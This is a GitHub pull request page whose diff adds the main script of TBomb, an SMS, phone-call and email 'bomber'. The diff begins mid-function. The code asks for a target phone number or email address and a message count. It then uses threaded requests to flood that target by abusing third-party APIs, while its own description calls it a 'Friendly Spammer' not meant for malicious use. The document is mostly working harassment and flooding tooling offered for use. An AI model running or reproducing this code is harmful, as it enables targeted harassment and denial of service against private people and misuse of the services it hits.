-
Notifications
You must be signed in to change notification settings - Fork 1.6k
New issue
Have a question about this project? Sign up for a free GitHub account to open an issue and contact its maintainers and the community.
By clicking “Sign up for GitHub”, you agree to our terms of service and privacy statement. We’ll occasionally send you account related emails.
Already on GitHub? Sign in to your account
Hesh #466
Open
Hesham7777
wants to merge
1
commit into
TheSpeedX:master
Choose a base branch
from
Hesham7777:patch-1
base: master
Could not load branches
Branch not found: {{ refName }}
Loading
Could not load tags
Nothing to show
Loading
Are you sure you want to change the base?
Some commits from the old base branch may be removed from the timeline,
and old review comments may become outdated.
Open
Hesh #466
Changes from all commits
Commits
File filter
Filter by extension
Conversations
Failed to load comments.
Loading
Jump to
Jump to file
Failed to load files.
Loading
Diff view
Diff view
There are no files selected for viewing
This file contains bidirectional Unicode text that may be interpreted or compiled differently than what appears below. To review, open the file in an editor that reveals hidden Unicode characters.
Learn more about bidirectional Unicode characters
Original file line number | Diff line number | Diff line change |
---|---|---|
@@ -0,0 +1,188 @@ | ||
input(mesgdcrt.CommandMessage( | ||
"Press [CTRL+Z] to suspend the bomber or [ENTER] to resume it")) | ||
|
||
if len(APIProvider.api_providers) == 0: | ||
mesgdcrt.FailureMessage("Your country/target is not supported yet") | ||
mesgdcrt.GeneralMessage("Feel free to reach out to us") | ||
input(mesgdcrt.CommandMessage("Press [ENTER] to exit")) | ||
bann_text() | ||
sys.exit() | ||
|
||
success, failed = 0, 0 | ||
while success < count: | ||
with ThreadPoolExecutor(max_workers=max_threads) as executor: | ||
jobs = [] | ||
for i in range(count-success): | ||
jobs.append(executor.submit(api.hit)) | ||
|
||
for job in as_completed(jobs): | ||
result = job.result() | ||
if result is None: | ||
mesgdcrt.FailureMessage( | ||
"Bombing limit for your target has been reached") | ||
mesgdcrt.GeneralMessage("Try Again Later !!") | ||
input(mesgdcrt.CommandMessage("Press [ENTER] to exit")) | ||
bann_text() | ||
sys.exit() | ||
if result: | ||
success += 1 | ||
else: | ||
failed += 1 | ||
clr() | ||
pretty_print(cc, target, success, failed) | ||
print("\n") | ||
mesgdcrt.SuccessMessage("Bombing completed!") | ||
time.sleep(1.5) | ||
bann_text() | ||
sys.exit() | ||
|
||
|
||
def selectnode(mode="sms"): | ||
mode = mode.lower().strip() | ||
try: | ||
clr() | ||
bann_text() | ||
check_intr() | ||
check_for_updates() | ||
notifyen() | ||
|
||
max_limit = {"sms": 500, "call": 15, "mail": 200} | ||
cc, target = "", "" | ||
if mode in ["sms", "call"]: | ||
cc, target = get_phone_info() | ||
if cc != "91": | ||
max_limit.update({"sms": 100}) | ||
elif mode == "mail": | ||
target = get_mail_info() | ||
else: | ||
raise KeyboardInterrupt | ||
|
||
limit = max_limit[mode] | ||
while True: | ||
try: | ||
message = ("Enter number of {type}".format(type=mode.upper()) + | ||
" to send (Max {limit}): ".format(limit=limit)) | ||
count = int(input(mesgdcrt.CommandMessage(message)).strip()) | ||
if count > limit or count == 0: | ||
mesgdcrt.WarningMessage("You have requested " + str(count) | ||
+ " {type}".format( | ||
type=mode.upper())) | ||
mesgdcrt.GeneralMessage( | ||
"Automatically capping the value" | ||
" to {limit}".format(limit=limit)) | ||
count = limit | ||
delay = float(input( | ||
mesgdcrt.CommandMessage("Enter delay time (in seconds): ")) | ||
.strip()) | ||
# delay = 0 | ||
max_thread_limit = (count//10) if (count//10) > 0 else 1 | ||
max_threads = int(input( | ||
mesgdcrt.CommandMessage( | ||
"Enter Number of Thread (Recommended: {max_limit}): " | ||
.format(max_limit=max_thread_limit))) | ||
.strip()) | ||
max_threads = max_threads if ( | ||
max_threads > 0) else max_thread_limit | ||
if (count < 0 or delay < 0): | ||
raise Exception | ||
break | ||
except KeyboardInterrupt as ki: | ||
raise ki | ||
except Exception: | ||
mesgdcrt.FailureMessage("Read Instructions Carefully !!!") | ||
print() | ||
|
||
workernode(mode, cc, target, count, delay, max_threads) | ||
except KeyboardInterrupt: | ||
mesgdcrt.WarningMessage("Received INTR call - Exiting...") | ||
sys.exit() | ||
|
||
|
||
mesgdcrt = MessageDecorator("icon") | ||
if sys.version_info[0] != 3: | ||
mesgdcrt.FailureMessage("TBomb will work only in Python v3") | ||
sys.exit() | ||
|
||
try: | ||
country_codes = readisdc()["isdcodes"] | ||
except FileNotFoundError: | ||
update() | ||
|
||
|
||
__VERSION__ = get_version() | ||
__CONTRIBUTORS__ = ['SpeedX', 't0xic0der', 'scpketer', 'Stefan'] | ||
|
||
ALL_COLORS = [Fore.GREEN, Fore.RED, Fore.YELLOW, Fore.BLUE, | ||
Fore.MAGENTA, Fore.CYAN, Fore.WHITE] | ||
RESET_ALL = Style.RESET_ALL | ||
|
||
ASCII_MODE = False | ||
DEBUG_MODE = False | ||
|
||
description = """TBomb - Your Friendly Spammer Application | ||
|
||
TBomb can be used for many purposes which incudes - | ||
\t Exposing the vulnerable APIs over Internet | ||
\t Friendly Spamming | ||
\t Testing Your Spam Detector and more .... | ||
|
||
TBomb is not intented for malicious uses. | ||
""" | ||
|
||
parser = argparse.ArgumentParser(description=description, | ||
epilog='Coded by SpeedX !!!') | ||
parser.add_argument("-sms", "--sms", action="store_true", | ||
help="start TBomb with SMS Bomb mode") | ||
parser.add_argument("-call", "--call", action="store_true", | ||
help="start TBomb with CALL Bomb mode") | ||
parser.add_argument("-mail", "--mail", action="store_true", | ||
help="start TBomb with MAIL Bomb mode") | ||
parser.add_argument("-ascii", "--ascii", action="store_true", | ||
help="show only characters of standard ASCII set") | ||
parser.add_argument("-u", "--update", action="store_true", | ||
help="update TBomb") | ||
parser.add_argument("-c", "--contributors", action="store_true", | ||
help="show current TBomb contributors") | ||
parser.add_argument("-v", "--version", action="store_true", | ||
help="show current TBomb version") | ||
|
||
|
||
if __name__ == "__main__": | ||
args = parser.parse_args() | ||
if args.ascii: | ||
ASCII_MODE = True | ||
mesgdcrt = MessageDecorator("stat") | ||
if args.version: | ||
print("Version: ", __VERSION__) | ||
elif args.contributors: | ||
print("Contributors: ", " ".join(__CONTRIBUTORS__)) | ||
elif args.update: | ||
update() | ||
elif args.mail: | ||
selectnode(mode="mail") | ||
elif args.call: | ||
selectnode(mode="call") | ||
elif args.sms: | ||
selectnode(mode="sms") | ||
else: | ||
choice = "" | ||
avail_choice = { | ||
"1": "SMS", | ||
"2": "CALL", | ||
"3": "MAIL" | ||
} | ||
try: | ||
while (choice not in avail_choice): | ||
clr() | ||
bann_text() | ||
print("Available Options:\n") | ||
for key, value in avail_choice.items(): | ||
print("[ {key} ] {value} BOMB".format(key=key, | ||
value=value)) | ||
print() | ||
choice = input(mesgdcrt.CommandMessage("Enter Choice : ")) | ||
selectnode(mode=avail_choice[choice].lower()) | ||
except KeyboardInterrupt: | ||
mesgdcrt.WarningMessage("Received INTR call - Exiting...") | ||
sys.exit() | ||
sys.exit() |
Add this suggestion to a batch that can be applied as a single commit.
This suggestion is invalid because no changes were made to the code.
Suggestions cannot be applied while the pull request is closed.
Suggestions cannot be applied while viewing a subset of changes.
Only one suggestion per line can be applied in a batch.
Add this suggestion to a batch that can be applied as a single commit.
Applying suggestions on deleted lines is not supported.
You must change the existing code in this line in order to create a valid suggestion.
Outdated suggestions cannot be applied.
This suggestion has been applied or marked resolved.
Suggestions cannot be applied from pending reviews.
Suggestions cannot be applied on multi-line comments.
Suggestions cannot be applied while the pull request is queued to merge.
Suggestion cannot be applied right now. Please check back later.
There was a problem hiding this comment.
Choose a reason for hiding this comment
The reason will be displayed to describe this comment to others. Learn more.
???